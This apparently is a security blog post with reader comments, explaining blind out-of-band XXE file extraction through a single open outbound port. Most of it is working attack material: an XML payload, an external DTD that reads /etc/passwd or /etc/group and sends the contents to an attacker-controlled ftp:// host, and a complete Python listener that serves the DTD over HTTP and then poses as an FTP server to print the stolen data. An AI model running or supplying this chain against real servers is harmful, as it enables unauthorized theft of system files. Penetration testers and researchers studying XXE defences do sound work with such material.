XXE OOB extracting via HTTP+FTP using single opened port

Suppose we have discovered a XXE-vulnerability and trying to do blind OOB local files content extraction.
There are some different ways to do this. I recently had to use FTP-extraction (AFAIK, this was due to vulnerable service Java version – it didn’t allowed the HTTP-extraction of some files, e.g. /etc/passwd).

I have used the following vector:

1
2
3
4
5
6
7
8
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://host:1111/ext.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>

and have place at http://host:1111/ext.dtd the following DTD:

1
2
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://host:2222/%data;'>">

This works the following way:
1. Processing the XML source, vulnerable app loads external DTD schema via HTTP from http://host:1111/ext.dtd
2. Processing the loaded schema, the app loads local file /etc/passwd and tries to load external entity exfil via FTP from ftp://host:2222/%data;, where the %data; is replaced by /etc/passwd content by XML parser. Thus, if we control the FTP server, we can easily read extracted data.

And everything would be fine, but the vulnerable server firewall has allowed only 3785 port outgoing connections, and we needed to make 2 requests: over HTTP and then over FTP. So, I had to think, how to process both protocols using one single port 🙂

To exploit this successfully, I have crafted small python-server, which was the HTTP-server first and the FTP-one then. I have not implement protocols fully, of course, but only the needed parts.

Investigating the vector work algorithm described above, it becomes clear, that such server should emulate HTTP-server at first incoming request and respond with DTD, and emulate the FTP-server at second request printing the incoming commands (they would contain the /etc/passwd content).

Well, this is the first script part – HTTP-server, responding with DTD:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/env/python
# coding: utf-8

from __future__ import print_function
import socket


HOST = 'host.com'
PORT = 3785

# this DTD will be returned at first HTTP-request
dtd = '''<!ENTITY % data SYSTEM "file:///etc/group">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://{}:{}/%data;'>">'''
.format(HOST, PORT)

# Create socket and bins it to all interfaces and chosen port
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(('0.0.0.0',PORT))
s.listen(1)
conn,addr = s.accept()  # await for incoming HTTP-connection
print('->  HTTP-connection accepted')

# Read request and send DTD, emulating the HTTP-server
data = conn.recv(1024)
conn.sendall('HTTP/1.1 200 OK\r\nContent-length: {len}\r\n\r\n{dtd}'.format(len=len(dtd), dtd=dtd))
print('->  DTD sent')
conn.close()

The second part – emulate FTP-server and print extracted data

30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
conn,addr = s.accept()  # await for incoming FTP-connection
print('->  FTP-connection accepted')

conn.sendall('220 FTP\r\n')  # emulate FTP-server

stop = False
while not stop:
  data = str(conn.recv(1024))  # read client commands
 
  # if the client sends USER, ask for password to emulate
  # FTP-authentication properly
  if data.startswith('USER'):
    conn.sendall('331 password please\r\n')

  # RETR command would contain the extracted data
  elif data.startswith('RETR'):
    print('->  RETR command received, extracted data:')
    print('-'*30)
    print(data.split(' ', 1)[-1])
    stop = True

  elif data.startswith('QUIT'):  # stop, it client asks
    stop = True

  # asks for more data otherwise
  else:
    conn.sendall('230 more data please\r\n')

conn.close()
s.close()

Then run script at out server and send source XML-vector to vulnerable app. Here is the result:

XXE OOB extracting via HTTP+FTP using single opened port

Thus, we can extract local files content using both needed protocols via single opened port 😉

  •  
    43
    Shares
  •  
  •  
  • 43
  •  
  •  
  •  
  •  

7 Replies to “XXE OOB extracting via HTTP+FTP using single opened port”

  1. So you are saying that port 3785 was allowed and that you run both http and then ftp services on that port. Why is than PORT set to 8080 :
    HOST = ‘host.com’
    PORT = 8080

  2. Hi,

    One thing is not clear to me – why couldn’t you just use two different hosts – one serving HTTP and the second serving FTP on the same port?

    • Hey Attis,

      You are right, it could also be possible solution 🙂 But I didn’t have one more VPS then, and I decided to solve this in more interesting way.

Leave a Reply

Your email address will not be published. Required fields are marked *